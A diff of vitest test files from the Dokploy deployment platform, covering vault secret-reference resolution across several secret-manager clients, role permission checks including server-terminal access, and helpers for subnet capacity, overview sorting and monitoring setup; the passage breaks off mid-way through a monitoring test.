apps/dokploy/__test__/env/vault.test.ts vendored Normal file
View File

@ -0,0 +1,618 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const findMany = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
import {
resolveVaultReferences,
withResolvedVaultRefs,
} from "@dokploy/server/utils/vault";
import { azureClient } from "@dokploy/server/utils/vault/azure";
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
beforeEach(() => {
findMany.mockReset();
mockFetch.mockReset();
});
const scope = {
organizationId: "org-1",
projectId: "proj-1",
environmentId: "env-1",
};
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
describe("resolveVaultReferences", () => {
it("returns input untouched and skips the db when no refs are present", async () => {
const env = "FOO=bar\nBAZ=${{project.QUX}}";
const result = await resolveVaultReferences(env, scope);
expect(result).toBe(env);
expect(findMany).not.toHaveBeenCalled();
});
it("returns null/empty inputs unchanged", async () => {
expect(await resolveVaultReferences(null, scope)).toBeNull();
expect(await resolveVaultReferences("", scope)).toBe("");
});
it("throws when refs exist but no organization context is given", async () => {
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
).rejects.toThrow("not supported in this context");
});
it("throws for an unknown provider", async () => {
findMany.mockResolvedValue([]);
await expect(
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
).rejects.toThrow('Vault provider "missing" not found');
});
it("throws when the provider is not assigned to the project", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("throws when the provider is restricted to another environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("allows a provider restricted to the matching environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
},
]);
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
const result = await resolveVaultReferences(
"FOO=${{vault.prod.SECRET}}",
scope,
);
expect(result).toBe("FOO=value-1");
});
it("resolves refs through a doppler provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
);
const result = await resolveVaultReferences(
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
scope,
);
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is missing in the provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
await expect(
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
).rejects.toThrow('secret "MISSING" not found');
});
});
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
it("resolves entity env sources so sync interpolation sees real values", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
const entity = {
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
environment: {
environmentId: "env-1",
env: null,
project: {
projectId: "proj-1",
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
organizationId: "org-1",
},
},
};
const resolved = await withResolvedVaultRefs(entity);
const prepared = prepareEnvironmentVariables(
resolved.env,
resolved.environment.project.env,
resolved.environment.env,
);
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
});
it("resolves buildArgs and buildSecrets when present", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
const resolved = await withResolvedVaultRefs({
env: "FOO=bar",
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
buildSecrets: null,
environment: {
environmentId: "env-1",
env: null,
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
});
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
expect(resolved.buildSecrets).toBeNull();
expect(resolved.env).toBe("FOO=bar");
});
it.each([
["service env", { env: "SECRET=${{vault.locked.X}}" }],
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
])(
"rejects a ref to an unassigned provider placed in the %s",
async (_source, overrides) => {
findMany.mockResolvedValue([
{
name: "locked",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
const entity = {
env: (overrides as { env?: string }).env ?? "FOO=bar",
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
environment: {
environmentId: "env-1",
env:
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
project: {
projectId: "proj-1",
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
organizationId: "org-1",
},
},
};
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
"not enabled for this project/environment",
);
expect(mockFetch).not.toHaveBeenCalled();
},
);
it("rejects a ref restricted to another environment from the environment env", async () => {
findMany.mockResolvedValue([
{
name: "prod-only",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
withResolvedVaultRefs({
env: null,
environment: {
environmentId: "dev-env",
env: "SECRET=${{vault.prod-only.X}}",
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
}),
).rejects.toThrow("not enabled for this project/environment");
expect(mockFetch).not.toHaveBeenCalled();
});
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
expect(() =>
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
).toThrow("Unresolved vault reference");
});
it("keeps working without vault refs", () => {
const prepared = prepareEnvironmentVariables(
"FOO=${{project.BAR}}",
"BAR=baz",
);
expect(prepared).toEqual(["FOO=baz"]);
expect(findMany).not.toHaveBeenCalled();
});
});
describe("hashicorp client", () => {
const config = {
providerType: "hashicorp" as const,
url: "https://vault.example.com",
token: "hvs.token",
mount: "secret",
};
it("rejects refs without a field", async () => {
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod"]),
).rejects.toThrow("expected format <path>:<field>");
});
it("groups refs by path and picks fields from KV v2 data", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
);
const result = await hashicorpClient.getSecrets(config, [
"myapp/prod:USER",
"myapp/prod:PASS",
]);
expect(result).toEqual({
"myapp/prod:USER": "admin",
"myapp/prod:PASS": "pw",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://vault.example.com/v1/secret/data/myapp/prod",
);
});
it("throws when a field is missing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
).rejects.toThrow('field "MISSING" not found');
});
it("lists full path:field refs by walking directories", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/metadata?list=true")) {
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
}
if (url.includes("/metadata/myapp?list=true")) {
return jsonResponse({ data: { keys: ["prod"] } });
}
if (url.includes("/data/myapp/prod")) {
return jsonResponse({
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
});
}
if (url.includes("/data/shared")) {
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
}
return jsonResponse({}, false, 404);
});
const names = await hashicorpClient.listSecretNames?.(config);
expect(names).toEqual([
"myapp/prod:API_KEY",
"myapp/prod:DB_PASSWORD",
"shared:STRIPE_KEY",
]);
});
});
describe("azure client", () => {
const config = {
providerType: "azure" as const,
vaultUri: "https://my-vault.vault.azure.net",
tenantId: "tenant-1",
clientId: "client-1",
clientSecret: "secret-1",
};
it("authenticates and reads secrets by name", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com/tenant-1")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("/secrets/db-password?")) {
return jsonResponse({ value: "azure-pw" });
}
return jsonResponse({}, false, 404);
});
const result = await azureClient.getSecrets(config, ["db-password"]);
expect(result).toEqual({ "db-password": "azure-pw" });
});
it("throws a clear error for missing secrets", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
return jsonResponse({}, false, 404);
});
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found',
);
});
it("lists secret names from paged results", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("skiptoken")) {
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/second` }],
nextLink: null,
});
}
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/first` }],
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
});
});
const names = await azureClient.listSecretNames?.(config);
expect(names).toEqual(["first", "second"]);
});
});
describe("doppler client", () => {
it("propagates auth errors with the status code", async () => {
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
await expect(
dopplerClient.getSecrets(
{ providerType: "doppler", serviceToken: "bad" },
["FOO"],
),
).rejects.toThrow("status 401");
});
});
describe("scaleway client", () => {
const config = {
providerType: "scaleway" as const,
region: "fr-par",
projectId: "project-1",
secretKey: "scw-secret-key",
apiUrl: "https://api.scaleway.com",
};
const accessResponse = (value: string) =>
jsonResponse({
secret_id: "secret-1",
revision: 1,
data: Buffer.from(value).toString("base64"),
});
it("reads a secret by name from the root path and decodes the payload", async () => {
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
const result = await scalewayClient.getSecrets(config, ["db-url"]);
expect(result).toEqual({ "db-url": "postgres://real" });
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toBe(
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
);
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
"scw-secret-key",
);
});
it("sends the folder of a path-qualified ref as secret_path", async () => {
mockFetch.mockResolvedValue(accessResponse("value"));
await scalewayClient.getSecrets(config, ["prod/db/password"]);
expect(mockFetch.mock.calls[0]?.[0]).toContain(
"secret_name=password&secret_path=%2Fprod%2Fdb",
);
});
it("extracts a field from a JSON secret and fetches the secret once", async () => {
mockFetch.mockResolvedValue(
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
);
const result = await scalewayClient.getSecrets(config, [
"db-creds:user",
"db-creds:port",
]);
expect(result).toEqual({
"db-creds:user": "admin",
"db-creds:port": "5432",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is not JSON but a field is requested", async () => {
mockFetch.mockResolvedValue(accessResponse("plain-value"));
await expect(
scalewayClient.getSecrets(config, ["db-creds:user"]),
).rejects.toThrow("is not JSON");
});
it("throws when the requested field is missing", async () => {
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
await expect(
scalewayClient.getSecrets(config, ["db-creds:password"]),
).rejects.toThrow('field "password" not found');
});
it("throws a clear error for a missing secret", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ message: "not found" }, false, 404),
);
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found in path "/"',
);
});
it("reports authentication failures with the API message", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ message: "denied authentication" }, false, 403),
);
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
"authentication failed (status 403: denied authentication)",
);
});
it("throws when the secret has no enabled version", async () => {
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
"has no enabled version",
);
});
it("rejects a ref without a secret name", async () => {
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
"expected format <name> or <folder>/<name>[:field]",
);
});
it("tests the connection against the secrets listing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
await scalewayClient.testConnection(config);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
);
});
it("lists secret names with their folder prefix", async () => {
mockFetch.mockResolvedValue(
jsonResponse({
secrets: [
{ id: "1", name: "db-url", path: "/" },
{ id: "2", name: "password", path: "/prod/db" },
],
total_count: 2,
}),
);
const names = await scalewayClient.listSecretNames?.(config);
expect(names).toEqual(["db-url", "prod/db/password"]);
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("follows pagination until a short page is returned", async () => {
const page = (start: number, size: number) =>
jsonResponse({
secrets: Array.from({ length: size }, (_, index) => ({
id: String(start + index),
name: `secret-${start + index}`,
path: "/",
})),
});
mockFetch.mockImplementation(async (url: string) =>
url.includes("page=2") ? page(101, 2) : page(1, 100),
);
const names = await scalewayClient.listSecretNames?.(config);
expect(names).toHaveLength(102);
expect(mockFetch).toHaveBeenCalledTimes(2);
});
it("resolves env refs end to end through a scaleway provider", async () => {
findMany.mockResolvedValue([
{
name: "scw-prod",
providerType: "scaleway",
config,
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(accessResponse("s3cret"));
const result = await resolveVaultReferences(
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
scope,
);
expect(result).toBe("DB_PASSWORD=s3cret");
});
});

View File

@ -0,0 +1,41 @@
import { describe, expect, it } from "vitest";
import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
const containers = [
{ containerId: "first-container" },
{ containerId: "selected-container" },
];
describe("resolveContainerSelection", () => {
it("selects the first container when no container is selected", () => {
expect(resolveContainerSelection(undefined, containers)).toBe(
"first-container",
);
});
it("preserves a manual selection when refreshed data contains it", () => {
const refreshedContainers = containers.map((container) => ({
...container,
}));
expect(
resolveContainerSelection("selected-container", refreshedContainers),
).toBe("selected-container");
});
it("falls back to the first container when the selection disappears", () => {
expect(resolveContainerSelection("removed-container", containers)).toBe(
"first-container",
);
});
it("keeps the current selection while container data is loading", () => {
expect(resolveContainerSelection("selected-container", undefined)).toBe(
"selected-container",
);
});
it("clears the selection when no containers are available", () => {
expect(resolveContainerSelection("selected-container", [])).toBeUndefined();
});
});

View File

@ -126,6 +126,13 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow();
});
it("member is denied server.terminal", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { server: ["terminal"] }),
).rejects.toThrow();
});
it("member is denied registry.create", async () => {
memberToReturn = mockMemberData("member");
await expect(

View File

@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [
"logs",
"monitoring",
"auditLog",
"vaultProvider",
"dnsProvider",
];
describe("enterpriseOnlyResources set", () => {

View File

@ -105,6 +105,7 @@ describe("enterprise resources for static roles", () => {
const perms = await resolvePermissions(ctx);
expect(perms.server.read).toBe(false);
expect(perms.server.terminal).toBe(false);
expect(perms.registry.read).toBe(false);
expect(perms.certificate.read).toBe(false);
expect(perms.destination.read).toBe(false);

View File

@ -0,0 +1,105 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockMemberData = (role: string) => ({
id: "member-1",
role,
userId: "user-1",
organizationId: "org-1",
accessedProjects: [] as string[],
accessedServices: [] as string[],
accessedEnvironments: [] as string[],
accessedServers: [] as string[],
canCreateProjects: false,
canDeleteProjects: false,
canCreateServices: false,
canDeleteServices: false,
canCreateEnvironments: false,
canDeleteEnvironments: false,
canAccessToTraefikFiles: false,
canAccessToDocker: false,
canAccessToAPI: false,
canAccessToSSHKeys: false,
canAccessToGitProviders: false,
user: { id: "user-1", email: "test@test.com" },
});
let memberToReturn = mockMemberData("deployer");
let rolesToReturn: { permission: string }[] = [];
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
member: {
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
findMany: vi.fn(() => Promise.resolve([])),
},
organizationRole: {
findFirst: vi.fn(),
findMany: vi.fn(() => Promise.resolve(rolesToReturn)),
},
},
},
}));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: vi.fn(() => Promise.resolve(true)),
}));
const { checkPermission, resolvePermissions } = await import(
"@dokploy/server/services/permission"
);
const ctx = {
user: { id: "user-1" },
session: { activeOrganizationId: "org-1" },
};
const withPermissions = (permissions: Record<string, string[]>) => {
rolesToReturn = [{ permission: JSON.stringify(permissions) }];
};
beforeEach(() => {
vi.clearAllMocks();
memberToReturn = mockMemberData("deployer");
rolesToReturn = [];
});
describe("server.terminal on custom roles", () => {
it("a role with server.read alone cannot open a terminal", async () => {
withPermissions({ server: ["read"] });
await expect(
checkPermission(ctx, { server: ["read"] }),
).resolves.toBeUndefined();
await expect(
checkPermission(ctx, { server: ["terminal"] }),
).rejects.toThrow();
const perms = await resolvePermissions(ctx);
expect(perms.server.read).toBe(true);
expect(perms.server.terminal).toBe(false);
});
it("a role with server.terminal can open a terminal", async () => {
withPermissions({ server: ["read", "terminal"] });
await expect(
checkPermission(ctx, { server: ["terminal"] }),
).resolves.toBeUndefined();
const perms = await resolvePermissions(ctx);
expect(perms.server.terminal).toBe(true);
});
it("owner and admin keep terminal access", async () => {
for (const role of ["owner", "admin"]) {
memberToReturn = mockMemberData(role);
await expect(
checkPermission(ctx, { server: ["terminal"] }),
).resolves.toBeUndefined();
const perms = await resolvePermissions(ctx);
expect(perms.server.terminal).toBe(true);
}
});
});

View File

@ -0,0 +1,24 @@
import { getSubnetCapacity } from "@dokploy/server/services/server-health";
import { describe, expect, test } from "vitest";
describe("getSubnetCapacity", () => {
test("returns null for missing/invalid input", () => {
expect(getSubnetCapacity(undefined)).toBeNull();
expect(getSubnetCapacity("")).toBeNull();
expect(getSubnetCapacity("10.0.0.0")).toBeNull();
expect(getSubnetCapacity("not-a-subnet")).toBeNull();
expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
});
test("excludes network and broadcast addresses", () => {
expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
});
test("returns 0 for subnets too small to hold a host", () => {
expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
});
});

View File

@ -0,0 +1,113 @@
import {
getBackupOverviewIcon,
getServiceOverviewIcon,
} from "@dokploy/server/services/overview";
import { describe, expect, test } from "vitest";
describe("getServiceOverviewIcon", () => {
test("returns a db icon for every known DB engine type", () => {
for (const type of [
"postgres",
"mariadb",
"mysql",
"mongo",
"redis",
"libsql",
] as const) {
expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
kind: "db",
engine: type,
});
}
});
test("returns a custom icon for application/compose with a service icon set", () => {
expect(
getServiceOverviewIcon({
type: "application",
icon: "data:image/png;base64,x",
}),
).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
expect(
getServiceOverviewIcon({
type: "compose",
icon: "data:image/png;base64,y",
}),
).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
});
test("falls back to a generic icon for application/compose without a service icon", () => {
expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
{
kind: "generic",
type: "application",
},
);
expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
kind: "generic",
type: "compose",
});
});
});
describe("getBackupOverviewIcon", () => {
test("returns a db icon for a database backup with a known databaseType", () => {
expect(
getBackupOverviewIcon({
databaseType: "postgres",
serviceType: null,
serviceOwnerType: "postgres",
}),
).toEqual({ kind: "db", engine: "postgres" });
});
test("returns a webServer icon for a web-server database backup", () => {
expect(
getBackupOverviewIcon({
databaseType: "web-server",
serviceType: null,
serviceOwnerType: "web-server",
}),
).toEqual({ kind: "webServer" });
});
test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
expect(
getBackupOverviewIcon({
databaseType: "mysql",
serviceType: null,
serviceOwnerType: "compose",
}),
).toEqual({ kind: "db", engine: "mysql" });
});
test("returns a db icon for a volume backup of a known DB engine service", () => {
expect(
getBackupOverviewIcon({
databaseType: null,
serviceType: "mongo",
serviceOwnerType: "mongo",
}),
).toEqual({ kind: "db", engine: "mongo" });
});
test("returns a generic application icon for a volume backup of an application", () => {
expect(
getBackupOverviewIcon({
databaseType: null,
serviceType: "application",
serviceOwnerType: "application",
}),
).toEqual({ kind: "generic", type: "application" });
});
test("returns a generic compose icon for a volume backup of a compose service", () => {
expect(
getBackupOverviewIcon({
databaseType: null,
serviceType: "compose",
serviceOwnerType: "compose",
}),
).toEqual({ kind: "generic", type: "compose" });
});
});

View File

@ -0,0 +1,79 @@
import type { OverviewDomain } from "@dokploy/server/services/overview";
import { sortOverviewDomains } from "@dokploy/server/services/overview";
import { describe, expect, test } from "vitest";
const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
domainId: "id",
host: "example.com",
path: "/",
port: 3000,
customEntrypoint: null,
https: true,
certificateType: "letsencrypt",
createdAt: "2024-01-01T00:00:00.000Z",
enabled: true,
domainType: "application",
serviceOwnerId: "app",
serviceOwnerType: "application",
serviceName: "App",
projectId: "project",
projectName: "Project",
environmentId: "environment",
environmentName: "Environment",
...overrides,
});
describe("sortOverviewDomains", () => {
test("sorts by createdAt asc/desc", () => {
const domains = [
makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
];
expect(
sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
).toEqual(["old", "mid", "new"]);
expect(
sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
).toEqual(["new", "mid", "old"]);
});
test("sorts by port asc/desc, with portless domains always last", () => {
const domains = [
makeDomain({ domainId: "none", port: null }),
makeDomain({ domainId: "low", port: 80 }),
makeDomain({ domainId: "high", port: 8080 }),
];
expect(
sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
).toEqual(["low", "high", "none"]);
expect(
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
).toEqual(["high", "low", "none"]);
});
test("port sort with all domains portless is a no-op", () => {
const domains = [
makeDomain({ domainId: "a", port: null }),
makeDomain({ domainId: "b", port: null }),
];
expect(
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
).toEqual(["a", "b"]);
});
test("does not mutate the input array", () => {
const domains = [
makeDomain({ domainId: "b", port: 8080 }),
makeDomain({ domainId: "a", port: 80 }),
];
const original = [...domains];
sortOverviewDomains(domains, "port-asc");
expect(domains).toEqual(original);
});
});

View File

@ -0,0 +1,106 @@
import type { OverviewService } from "@dokploy/server/services/overview";
import { sortOverviewServices } from "@dokploy/server/services/overview";
import { describe, expect, test } from "vitest";
const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
id: "id",
type: "application",
name: "name",
appName: "app-name",
status: "running",
createdAt: "2024-01-01T00:00:00.000Z",
serverId: null,
serverName: null,
icon: null,
projectId: "project",
projectName: "Project",
environmentId: "environment",
environmentName: "Environment",
lastDeployAt: null,
...overrides,
});
describe("sortOverviewServices", () => {
test("sorts by name asc/desc", () => {
const services = [
makeService({ id: "b", name: "Bravo" }),
makeService({ id: "a", name: "Alpha" }),
makeService({ id: "c", name: "Charlie" }),
];
expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
["a", "b", "c"],
);
expect(
sortOverviewServices(services, "name-desc").map((s) => s.id),
).toEqual(["c", "b", "a"]);
});
test("sorts by type asc/desc", () => {
const services = [
makeService({ id: "app", type: "application" }),
makeService({ id: "pg", type: "postgres" }),
makeService({ id: "comp", type: "compose" }),
];
expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
["app", "comp", "pg"],
);
expect(
sortOverviewServices(services, "type-desc").map((s) => s.id),
).toEqual(["pg", "comp", "app"]);
});
test("sorts by createdAt asc/desc", () => {
const services = [
makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
];
expect(
sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
).toEqual(["old", "mid", "new"]);
expect(
sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
).toEqual(["new", "mid", "old"]);
});
test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
const services = [
makeService({ id: "never", lastDeployAt: null }),
makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
];
expect(
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
).toEqual(["new", "old", "never"]);
expect(
sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
).toEqual(["old", "new", "never"]);
});
test("lastDeploy sort with all services never deployed is a no-op", () => {
const services = [
makeService({ id: "a", lastDeployAt: null }),
makeService({ id: "b", lastDeployAt: null }),
];
expect(
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
).toEqual(["a", "b"]);
});
test("does not mutate the input array", () => {
const services = [
makeService({ id: "b", name: "Bravo" }),
makeService({ id: "a", name: "Alpha" }),
];
const original = [...services];
sortOverviewServices(services, "name-asc");
expect(services).toEqual(original);
});
});

View File

@ -0,0 +1,236 @@
import { execSync } from "node:child_process";
import { docker } from "@dokploy/server/constants";
import { setupMonitoring } from "@dokploy/server/setup/monitoring-setup";
import { afterAll, beforeEach, describe, expect, it, vi } from "vitest";
const REAL_TEST_TIMEOUT = 120000;
const SERVICE_NAME = "dokploy-monitoring";
const TEST_IMAGE = "busybox:latest";
// Mock ONLY db-backed lookups and remote I/O. Dockerode stays real and talks to
// the local daemon, so the legacy-container cleanup is exercised for real.
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn().mockResolvedValue({
serverId: "test-server",
serverType: "deploy",
sshKeyId: null, // -> getRemoteDocker returns the local docker instance
metricsConfig: {
server: {
type: "Remote",
port: 4500,
token: "test-token",
urlCallback: "http://localhost/callback",
cronJob: "0 0 * * *",
retentionDays: 2,
refreshRate: 60,
thresholds: { cpu: 0, memory: 0 },
},
containers: { refreshRate: 60, services: { include: [], exclude: [] } },
},
}),
}));
vi.mock("@dokploy/server/services/settings", () => ({
getDokployImageTag: vi.fn(() => "latest"),
}));
vi.mock("@dokploy/server/utils/docker/utils", () => ({
pullImage: vi.fn().mockResolvedValue(undefined),
pullRemoteImage: vi.fn().mockResolvedValue(undefined),
}));
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsync: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
execAsyncRemote: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
}));
const containerExists = async (name: string) => {
try {
await docker.getContainer(name).inspect();
return true;
} catch (error: any) {
if (error.statusCode === 404) return false;
throw error;
}
};
const serviceExists = async (name: string) => {
try {
await docker.getService(name).inspect();
return true;
} catch (error: any) {
if (error.statusCode === 404) return false;
throw error;
}
};
const swarmTaskNames = async () => {
const list = await docker.listContainers({ all: true });
return list
.flatMap((c) => c.Names.map((n) => n.replace(/^\//, "")))
.filter((n) => n.startsWith(`${SERVICE_NAME}.`));
};
const cleanup = async () => {
try {
await docker.getService(SERVICE_NAME).remove();
} catch {}
try {
await docker.getContainer(SERVICE_NAME).remove({ force: true });
} catch {}
for (const name of await swarmTaskNames()) {
try {
await docker.getContainer(name).remove({ force: true });
} catch {}
}
};
// Recreates the pre-v0.30.0 standalone agent stuck in a crash loop.
const createLegacyZombie = async () => {
const container = await docker.createContainer({
name: SERVICE_NAME,
Image: TEST_IMAGE,
Cmd: [
"sh",
"-c",
